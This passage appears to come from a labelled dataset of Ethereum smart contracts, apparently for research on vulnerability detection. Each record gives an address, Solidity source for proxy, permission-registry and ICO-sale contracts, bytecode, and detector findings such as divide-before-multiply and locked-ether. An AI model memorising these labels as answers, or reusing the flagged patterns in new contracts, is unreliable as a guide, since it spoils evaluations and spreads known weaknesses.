02001600020819055507f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b90381604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b600081611503846b033b2e3c9fd0803ce80000006108e6565b8161150a57fe5b04905092915050565b60075481565b600083600081146115bf5760028406600081146115385785925061153c565b8392505b50600283046002850494505b84156115b957858602868782041461155f57600080fd5b8181018181101561156f57600080fd5b858104975060028706156115ac57878502858982041415891515161561159457600080fd5b838101818110156115a457600080fd5b878104965050505b5050600285049450611548565b506115d7565b83600081146115d157600092506115d5565b8392505b505b509392505050565b6000818311156115ef57816115f1565b825b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600060015414801561163657506000600254145b90506116454285101582611b56565b1561165457600091505061172b565b600080851461166c576116674286610c02565b61166e565b835b9050611681848210600060015414611b56565b156116915760009250505061172b565b600061169d8286610c02565b905060006116c96002546b033b2e3c9fd0803ce80000006116bc61099f565b816116c357fe5b046115df565b90506003548211156116e1578094505050505061172b565b6000600154905060008311156117165761171361170d600454856b033b2e3c9fd0803ce8000000611519565b826108a6565b90505b81811115611722578190505b80955050505050505b92915050565b60008161174684670de0b6b3a76400006108e6565b8161174d57fe5b04905092915050565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146117ed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603681526020018061212f6036913960400191505060405180910390fd5b7f6261736555706461746543616c6c65725265776172640000000000000000000082141561187c57600254811115611870576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180611f686032913960400191505060405180910390fd5b80600181905550611b13565b7f6d617855706461746543616c6c6572526577617264000000000000000000000082141561190b576001548110156118ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603181526020018061201b6031913960400191505060405180910390fd5b80600281905550611b12565b7f7065725365636f6e6443616c6c6572526577617264496e6372656173650000008214156119a4576b033b2e3c9fd0803ce8000000811015611998576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180611f326036913960400191505060405180910390fd5b80600481905550611b11565b7f6d6178526577617264496e63726561736544656c617900000000000000000000821415611a315760008111611a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526032815260200180611fc06032913960400191505060405180910390fd5b80600381905550611b10565b7f7265696d627572736544656c6179000000000000000000000000000000000000821415611abe5760008111611ab2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f81526020018061207d602f913960400191505060405180910390fd5b80600881905550611b0f565b6040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603181526020018061204c6031913960400191505060405180910390fd5b5b5b5b5b7fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a8282604051808381526020018281526020019250505060405180910390a15050565b6000818317905092915050565b8173ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611bbe57611f0c565b611c1c600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161460008314611b56565b15611c2657611f0c565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611c615782611c63565b335b9050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663201add9b82600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a7e944556040518163ffffffff1660e01b815260040160206040518083038186803b158015611d0c57600080fd5b505afa158015611d20573d6000803e3d6000fd5b505050506040513d6020811015611d3657600080fd5b8101908080519060200190929190505050856040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015611de457600080fd5b505af1925050508015611df5575060015b611f09573d8060008114611e25576040519150601f19603f3d011682016040523d82523d6000602084013e611e2a565b606091505b507ff7bf1f7447ce563690edb2abe40636178ff64fc766b07bf3e171b16102794a5481838560405180806020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019080838360005b83811015611ec7578082015181840152602081019050611eac565b50505050905090810190601f168015611ef45780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a150611f0a565b5b505b505056fe496e6372656173696e6752657761726452656c617965722f6e756c6c2d61646472496e6372656173696e6752657761726452656c617965722f696e76616c69642d63616c6c65722d7265776172642d696e637265617365496e6372656173696e6752657761726452656c617965722f696e76616c69642d626173652d63616c6c65722d726577617264496e6372656173696e6752657761726452656c617965722f696e76616c69642d63616c6c6572496e6372656173696e6752657761726452656c617965722f696e76616c69642d6d61782d696e6372656173652d64656c6179496e6372656173696e6752657761726452656c617965722f6e756c6c2d6665652d7265636569766572496e6372656173696e6752657761726452656c617965722f696e76616c69642d6d61782d63616c6c65722d726577617264496e6372656173696e6752657761726452656c617965722f6d6f646966792d756e7265636f676e697a65642d706172616d496e6372656173696e6752657761726452656c617965722f696e76616c69642d7265696d62757273652d64656c6179496e6372656173696e6752657761726452656c617965722f776169742d6d6f7265496e6372656173696e6752657761726452656c617965722f726571756573746f722d63616e6e6f742d726563656976652d66656573496e6372656173696e6752657761726452656c617965722f74726561737572792d636f696e2d6e6f742d736574496e6372656173696e6754726561737572795265696d62757273656d656e742f6163636f756e742d6e6f742d617574686f72697a6564a264697066735822122098213fdbb0364d3bcd55317a46f0c0a48b574e155d7cf369ab2120e4211f0b7964736f6c63430006070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
6,944
0xbe729d06dd2d7b2e953b40e234c62bd5f0204a12
pragma solidity ^0.4.24; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param addr address to check * @return whether the target address is a contract */ function isContract(address addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(addr) } return size > 0; } } /** * @title UpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract UpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "org.zeppelinos.proxy.implementation", and is * validated in the constructor. */ bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3; /** * @dev Contract constructor. * @param _implementation Address of the initial implementation. */ constructor(address _implementation) public { assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation")); _setImplementation(_implementation); } /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) private { require(AddressUtils.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". This adds two-phase * ownership control to OpenZeppelin's Ownable class. In this model, the original owner * designates a new owner but does not actually transfer ownership. The new owner then accepts * ownership and completes the transfer. */ contract Ownable { address public owner; address public pendingOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; pendingOwner = address(0); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0)); pendingOwner = _newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner public { emit OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = address(0); } } /** * * @dev Stores permissions and validators and provides setter and getter methods. * Permissions determine which methods users have access to call. Validators * are able to mutate permissions at the Regulator level. * */ contract RegulatorStorage is Ownable { /** Structs */ /* Contains metadata about a permission to execute a particular method signature. */ struct Permission { string name; // A one-word description for the permission. e.g. "canMint" string description; // A longer description for the permission. e.g. "Allows user to mint tokens." string contract_name; // e.g. "PermissionedToken" bool active; // Permissions can be turned on or off by regulator } /** Constants: stores method signatures. These are potential permissions that a user can have, and each permission gives the user the ability to call the associated PermissionedToken method signature */ bytes4 public constant MINT_SIG = bytes4(keccak256("mint(address,uint256)")); bytes4 public constant MINT_CUSD_SIG = bytes4(keccak256("mintCUSD(address,uint256)")); bytes4 public constant CONVERT_WT_SIG = bytes4(keccak256("convertWT(uint256)")); bytes4 public constant BURN_SIG = bytes4(keccak256("burn(uint256)")); bytes4 public constant CONVERT_CARBON_DOLLAR_SIG = bytes4(keccak256("convertCarbonDollar(address,uint256)")); bytes4 public constant BURN_CARBON_DOLLAR_SIG = bytes4(keccak256("burnCarbonDollar(address,uint256)")); bytes4 public constant DESTROY_BLACKLISTED_TOKENS_SIG = bytes4(keccak256("destroyBlacklistedTokens(address,uint256)")); bytes4 public constant APPROVE_BLACKLISTED_ADDRESS_SPENDER_SIG = bytes4(keccak256("approveBlacklistedAddressSpender(address)")); bytes4 public constant BLACKLISTED_SIG = bytes4(keccak256("blacklisted()")); /** Mappings */ /* each method signature maps to a Permission */ mapping (bytes4 => Permission) public permissions; /* list of validators, either active or inactive */ mapping (address => bool) public validators; /* each user can be given access to a given method signature */ mapping (address => mapping (bytes4 => bool)) public userPermissions; /** Events */ event PermissionAdded(bytes4 methodsignature); event PermissionRemoved(bytes4 methodsignature); event ValidatorAdded(address indexed validator); event ValidatorRemoved(address indexed validator); /** Modifiers */ /** * @notice Throws if called by any account that does not have access to set attributes */ modifier onlyValidator() { require (isValidator(msg.sender), "Sender must be validator"); _; } /** * @notice Sets a permission within the list of permissions. * @param _methodsignature Signature of the method that this permission controls. * @param _permissionName A "slug" name for this permission (e.g. "canMint"). * @param _permissionDescription A lengthier description for this permission (e.g. "Allows user to mint tokens"). * @param _contractName Name of the contract that the method belongs to. */ function addPermission( bytes4 _methodsignature, string _permissionName, string _permissionDescription, string _contractName) public onlyValidator { Permission memory p = Permission(_permissionName, _permissionDescription, _contractName, true); permissions[_methodsignature] = p; emit PermissionAdded(_methodsignature); } /** * @notice Removes a permission the list of permissions. * @param _methodsignature Signature of the method that this permission controls. */ function removePermission(bytes4 _methodsignature) public onlyValidator { permissions[_methodsignature].active = false; emit PermissionRemoved(_methodsignature); } /** * @notice Sets a permission in the list of permissions that a user has. * @param _methodsignature Signature of the method that this permission controls. */ function setUserPermission(address _who, bytes4 _methodsignature) public onlyValidator { require(permissions[_methodsignature].active, "Permission being set must be for a valid method signature"); userPermissions[_who][_methodsignature] = true; } /** * @notice Removes a permission from the list of permissions that a user has. * @param _methodsignature Signature of the method that this permission controls. */ function removeUserPermission(address _who, bytes4 _methodsignature) public onlyValidator { require(permissions[_methodsignature].active, "Permission being removed must be for a valid method signature"); userPermissions[_who][_methodsignature] = false; } /** * @notice add a Validator * @param _validator Address of validator to add */ function addValidator(address _validator) public onlyOwner { validators[_validator] = true; emit ValidatorAdded(_validator); } /** * @notice remove a Validator * @param _validator Address of validator to remove */ function removeValidator(address _validator) public onlyOwner { validators[_validator] = false; emit ValidatorRemoved(_validator); } /** * @notice does validator exist? * @return true if yes, false if no **/ function isValidator(address _validator) public view returns (bool) { return validators[_validator]; } /** * @notice does permission exist? * @return true if yes, false if no **/ function isPermission(bytes4 _methodsignature) public view returns (bool) { return permissions[_methodsignature].active; } /** * @notice get Permission structure * @param _methodsignature request to retrieve the Permission struct for this methodsignature * @return Permission **/ function getPermission(bytes4 _methodsignature) public view returns (string name, string description, string contract_name, bool active) { return (permissions[_methodsignature].name, permissions[_methodsignature].description, permissions[_methodsignature].contract_name, permissions[_methodsignature].active); } /** * @notice does permission exist? * @return true if yes, false if no **/ function hasUserPermission(address _who, bytes4 _methodsignature) public view returns (bool) { return userPermissions[_who][_methodsignature]; } } /** * @title RegulatorProxy * @dev A RegulatorProxy is a proxy contract that acts identically to a Regulator from the * user's point of view. A proxy can change its data storage locations and can also * change its implementation contract location. A call to RegulatorProxy delegates the function call * to the latest implementation contract's version of the function and the proxy then * calls that function in the context of the proxy's data storage * */ contract RegulatorProxy is UpgradeabilityProxy, RegulatorStorage { /** * @dev CONSTRUCTOR * @param _implementation the contract who's logic the proxy will initially delegate functionality to **/ constructor(address _implementation) public UpgradeabilityProxy(_implementation) {} /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) public onlyOwner { _upgradeTo(newImplementation); } /** * @return The address of the implementation. */ function implementation() public view returns (address) { return _implementation(); } }
0x6080604052600436106101695763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166314db6d5881146101735780631830f493146101b55780631c870eee146103235780633659cfe614610351578063395a7b301461037257806340a141ff146103945780634d238c8e146103b55780634e71e0c8146103d65780635317e444146103eb5780635c60da1b14610419578063639c44cf1461044a578063780bfed01461047c5780638707e2f41461056057806388f14b0e1461058e5780638b7c8109146105a35780638da5cb5b146105b85780638f959f54146105cd578063933aa667146105e25780639491951b14610604578063ab96cb4614610619578063b8ccbd171461062e578063c1c49cbb14610650578063cfbf1b9014610665578063e30c39781461067a578063f2fde38b1461068f578063f9d50543146106b0578063fa52c7d8146106c5578063facd743b146106e6575b610171610707565b005b34801561017f57600080fd5b506101a1600160a060020a0360043516600160e060020a031960243516610721565b604080519115158252519081900360200190f35b3480156101c157600080fd5b506101d7600160e060020a031960043516610758565b604080518215156060820152608080825286519082015285519091829160208084019284019160a08501918a019080838360005b8381101561022357818101518382015260200161020b565b50505050905090810190601f1680156102505780820380516001836020036101000a031916815260200191505b50848103835287518152875160209182019189019080838360005b8381101561028357818101518382015260200161026b565b50505050905090810190601f1680156102b05780820380516001836020036101000a031916815260200191505b50848103825286518152865160209182019188019080838360005b838110156102e35781810151838201526020016102cb565b50505050905090810190601f1680156103105780820380516001836020036101000a031916815260200191505b5097505050505050505060405180910390f35b34801561032f57600080fd5b50610171600160a060020a0360043516600160e060020a031960243516610945565b34801561035d57600080fd5b50610171600160a060020a0360043516610a69565b34801561037e57600080fd5b506101d7600160e060020a031960043516610a8c565b3480156103a057600080fd5b50610171600160a060020a0360043516610c60565b3480156103c157600080fd5b50610171600160a060020a0360043516610cc0565b3480156103e257600080fd5b50610171610d23565b3480156103f757600080fd5b50610171600160a060020a0360043516600160e060020a031960243516610dab565b34801561042557600080fd5b5061042e610ecc565b60408051600160a060020a039092168252519081900360200190f35b34801561045657600080fd5b5061045f610edc565b60408051600160e060020a03199092168252519081900360200190f35b34801561048857600080fd5b5060408051602060046024803582810135601f8101859004850286018501909652858552610171958335600160e060020a03191695369560449491939091019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750610f119650505050505050565b34801561056c57600080fd5b506101a1600160a060020a0360043516600160e060020a03196024351661104c565b34801561059a57600080fd5b5061045f61106c565b3480156105af57600080fd5b5061045f6110a1565b3480156105c457600080fd5b5061042e6110d6565b3480156105d957600080fd5b5061045f6110e5565b3480156105ee57600080fd5b506101a1600160e060020a031960043516611140565b34801561061057600080fd5b5061045f611162565b34801561062557600080fd5b5061045f611197565b34801561063a57600080fd5b50610171600160e060020a0319600435166111f2565b34801561065c57600080fd5b5061045f61129b565b34801561067157600080fd5b5061045f6112f6565b34801561068657600080fd5b5061042e61132b565b34801561069b57600080fd5b50610171600160a060020a036004351661133a565b3480156106bc57600080fd5b5061045f611395565b3480156106d157600080fd5b506101a1600160a060020a03600435166113f0565b3480156106f257600080fd5b506101a1600160a060020a0360043516611405565b61070f61071f565b61071f61071a611423565b611448565b565b600160a060020a0382166000908152600460209081526040808320600160e060020a03198516845290915290205460ff1692915050565b600160e060020a0319811660009081526002602081815260408084206003810154815483516101006001808416159190910260001901909216879004601f8101879004870282018701909552848152606097889788979196938601949086019360ff90911692918691908301828280156108135780601f106107e857610100808354040283529160200191610813565b820191906000526020600020905b8154815290600101906020018083116107f657829003601f168201915b5050865460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959950889450925084019050828280156108a15780601f10610876576101008083540402835291602001916108a1565b820191906000526020600020905b81548152906001019060200180831161088457829003601f168201915b5050855460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529598508794509250840190508282801561092f5780601f106109045761010080835404028352916020019161092f565b820191906000526020600020905b81548152906001019060200180831161091257829003601f168201915b5050505050915093509350935093509193509193565b61094e33611405565b1515610992576040805160e560020a62461bcd028152602060048201526018602482015260008051602061162c833981519152604482015290519081900360640190fd5b600160e060020a0319811660009081526002602052604090206003015460ff161515610a2e576040805160e560020a62461bcd02815260206004820152603960248201527f5065726d697373696f6e206265696e6720736574206d75737420626520666f7260448201527f20612076616c6964206d6574686f64207369676e617475726500000000000000606482015290519081900360840190fd5b600160a060020a039091166000908152600460209081526040808320600160e060020a0319909416835292905220805460ff19166001179055565b600054600160a060020a03163314610a8057600080fd5b610a898161146c565b50565b600260208181526000928352604092839020805484516001821615610100026000190190911693909304601f8101839004830284018301909452838352928391830182828015610b1d5780601f10610af257610100808354040283529160200191610b1d565b820191906000526020600020905b815481529060010190602001808311610b0057829003601f168201915b505050505090806001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b820191906000526020600020905b815481529060010190602001808311610b9e57829003601f168201915b50505060028085018054604080516020601f6000196101006001871615020190941695909504928301859004850281018501909152818152959695945090925090830182828015610c4d5780601f10610c2257610100808354040283529160200191610c4d565b820191906000526020600020905b815481529060010190602001808311610c3057829003601f168201915b5050506003909301549192505060ff1684565b600054600160a060020a03163314610c7757600080fd5b600160a060020a038116600081815260036020526040808220805460ff19169055517fe1434e25d6611e0db941968fdc97811c982ac1602e951637d206f5fdda9dd8f19190a250565b600054600160a060020a03163314610cd757600080fd5b600160a060020a038116600081815260036020526040808220805460ff19166001179055517fe366c1c0452ed8eec96861e9e54141ebff23c9ec89fe27b996b45f5ec38849879190a250565b600154600160a060020a03163314610d3a57600080fd5b60015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b610db433611405565b1515610df8576040805160e560020a62461bcd028152602060048201526018602482015260008051602061162c833981519152604482015290519081900360640190fd5b600160e060020a0319811660009081526002602052604090206003015460ff161515610e94576040805160e560020a62461bcd02815260206004820152603d60248201527f5065726d697373696f6e206265696e672072656d6f766564206d75737420626560448201527f20666f7220612076616c6964206d6574686f64207369676e6174757265000000606482015290519081900360840190fd5b600160a060020a039091166000908152600460209081526040808320600160e060020a0319909416835292905220805460ff19169055565b6000610ed6611423565b90505b90565b604080517f636f6e7665727457542875696e743235362900000000000000000000000000008152905190819003601201902081565b610f19611568565b610f2233611405565b1515610f66576040805160e560020a62461bcd028152602060048201526018602482015260008051602061162c833981519152604482015290519081900360640190fd5b5060408051608081018252848152602080820185905281830184905260016060830152600160e060020a03198716600090815260028252929092208151805192938493610fb69284920190611593565b506020828101518051610fcf9260018501920190611593565b5060408201518051610feb916002840191602090910190611593565b50606091909101516003909101805460ff191691151591909117905560408051600160e060020a03198716815290517f6195913f4ea9fc2f5193c9f6763975b23790b3be094b1eb18f31843739005512916020908290030190a15050505050565b600460209081526000928352604080842090915290825290205460ff1681565b604080517f6d696e7428616464726573732c75696e743235362900000000000000000000008152905190819003601501902081565b604080517f6d696e744355534428616464726573732c75696e7432353629000000000000008152905190819003601901902081565b600054600160a060020a031681565b604080517f617070726f7665426c61636b6c6973746564416464726573735370656e64657281527f28616464726573732900000000000000000000000000000000000000000000006020820152905190819003602901902081565b600160e060020a03191660009081526002602052604090206003015460ff1690565b604080517f626c61636b6c69737465642829000000000000000000000000000000000000008152905190819003600d01902081565b604080517f64657374726f79426c61636b6c6973746564546f6b656e73286164647265737381527f2c75696e743235362900000000000000000000000000000000000000000000006020820152905190819003602901902081565b6111fb33611405565b151561123f576040805160e560020a62461bcd028152602060048201526018602482015260008051602061162c833981519152604482015290519081900360640190fd5b600160e060020a03198116600081815260026020908152604091829020600301805460ff19169055815192835290517f65cd5526557cbd93f0739d00ffcdf8f4a663eb2ed509203d884b3470158724c19281900390910190a150565b604080517f6275726e436172626f6e446f6c6c617228616464726573732c75696e7432353681527f29000000000000000000000000000000000000000000000000000000000000006020820152905190819003602101902081565b604080517f6275726e2875696e7432353629000000000000000000000000000000000000008152905190819003600d01902081565b600154600160a060020a031681565b600054600160a060020a0316331461135157600080fd5b600160a060020a038116151561136657600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b604080517f636f6e76657274436172626f6e446f6c6c617228616464726573732c75696e7481527f32353629000000000000000000000000000000000000000000000000000000006020820152905190819003602401902081565b60036020526000908152604090205460ff1681565b600160a060020a031660009081526003602052604090205460ff1690565b7f7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c35490565b3660008037600080366000845af43d6000803e808015611467573d6000f35b3d6000fd5b611475816114b4565b60408051600160a060020a038316815290517fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b9181900360200190a150565b60006114bf82611560565b151561153b576040805160e560020a62461bcd02815260206004820152603b60248201527f43616e6e6f742073657420612070726f787920696d706c656d656e746174696f60448201527f6e20746f2061206e6f6e2d636f6e747261637420616464726573730000000000606482015290519081900360840190fd5b507f7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c355565b6000903b1190565b6080604051908101604052806060815260200160608152602001606081526020016000151581525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106115d457805160ff1916838001178555611601565b82800160010185558215611601579182015b828111156116015782518255916020019190600101906115e6565b5061160d929150611611565b5090565b610ed991905b8082111561160d5760008155600101611617560053656e646572206d7573742062652076616c696461746f720000000000000000a165627a7a72305820cc9fb92d196fd26c5df1ba01c3ac5c529d0b24e2434eddb99da751f6f21c88a50029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
6,945
0x1B8a506A1fC508F840A05fF0A4c665A4579C4E75
pragma solidity ^0.4.18; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract SelfllerySaleFoundation is Ownable { using SafeMath for uint; // Amount of Ether paid from each address mapping (address => uint) public paidEther; // Pre-sale participant tokens for each address mapping (address => uint) public preSaleParticipantTokens; // Number of tokens was sent during the ICO for each address mapping (address => uint) public sentTokens; // SELFLLERY PTE LTD (manager wallet) address public selflleryManagerWallet; // The token contract used for this ICO ERC20 public token; // Number of cents for 1 YOU uint public tokenCents; // The token price from 1 wei uint public tokenPriceWei; // Number of tokens in cents for sale uint public saleTokensCents; // The amount purchased tokens at the moment uint public currentCapTokens; // The amount of Ether raised at the moment uint public currentCapEther; // Start date of the ICO uint public startDate; // End date of bonus time uint public bonusEndDate; // End date of the ICO uint public endDate; // Hard cap of tokens uint public hardCapTokens; // The minimum purchase for user uint public minimumPurchaseAmount; // The bonus percent for purchase first 48 hours uint8 public bonusPercent; event PreSalePurchase(address indexed purchasedBy, uint amountTokens); event Purchase(address indexed purchasedBy, uint amountTokens, uint etherWei); /** * @dev Throws if date isn&#39;t between ICO dates. */ modifier onlyDuringICODates() { require(now >= startDate && now <= endDate); _; } /** * @dev Initialize the ICO contract */ function SelfllerySaleFoundation( address _token, address _selflleryManagerWallet, uint _tokenCents, uint _tokenPriceWei, uint _saleTokensCents, uint _startDate, uint _bonusEndDate, uint _endDate, uint _hardCapTokens, uint _minimumPurchaseAmount, uint8 _bonusPercent ) public Ownable() { token = ERC20(_token); selflleryManagerWallet = _selflleryManagerWallet; tokenCents = _tokenCents; tokenPriceWei = _tokenPriceWei; saleTokensCents = _saleTokensCents; startDate = _startDate; bonusEndDate = _bonusEndDate; endDate = _endDate; hardCapTokens = _hardCapTokens; minimumPurchaseAmount = _minimumPurchaseAmount; bonusPercent = _bonusPercent; } /** * @dev Purchase tokens for the amount of ether sent to this contract */ function () public payable { purchase(); } /** * @dev Purchase tokens for the amount of ether sent to this contract * @return A boolean that indicates if the operation was successful. */ function purchase() public payable returns(bool) { return purchaseFor(msg.sender); } /** * @dev Purchase tokens for the amount of ether sent to this contract for custom address * @param _participant The address of the participant * @return A boolean that indicates if the operation was successful. */ function purchaseFor(address _participant) public payable onlyDuringICODates() returns(bool) { require(_participant != 0x0); require(paidEther[_participant].add(msg.value) >= minimumPurchaseAmount); selflleryManagerWallet.transfer(msg.value); uint currentBonusPercent = getCurrentBonusPercent(); uint totalTokens = calcTotalTokens(msg.value, currentBonusPercent); require(currentCapTokens.add(totalTokens) <= saleTokensCents); require(token.transferFrom(owner, _participant, totalTokens)); sentTokens[_participant] = sentTokens[_participant].add(totalTokens); currentCapTokens = currentCapTokens.add(totalTokens); currentCapEther = 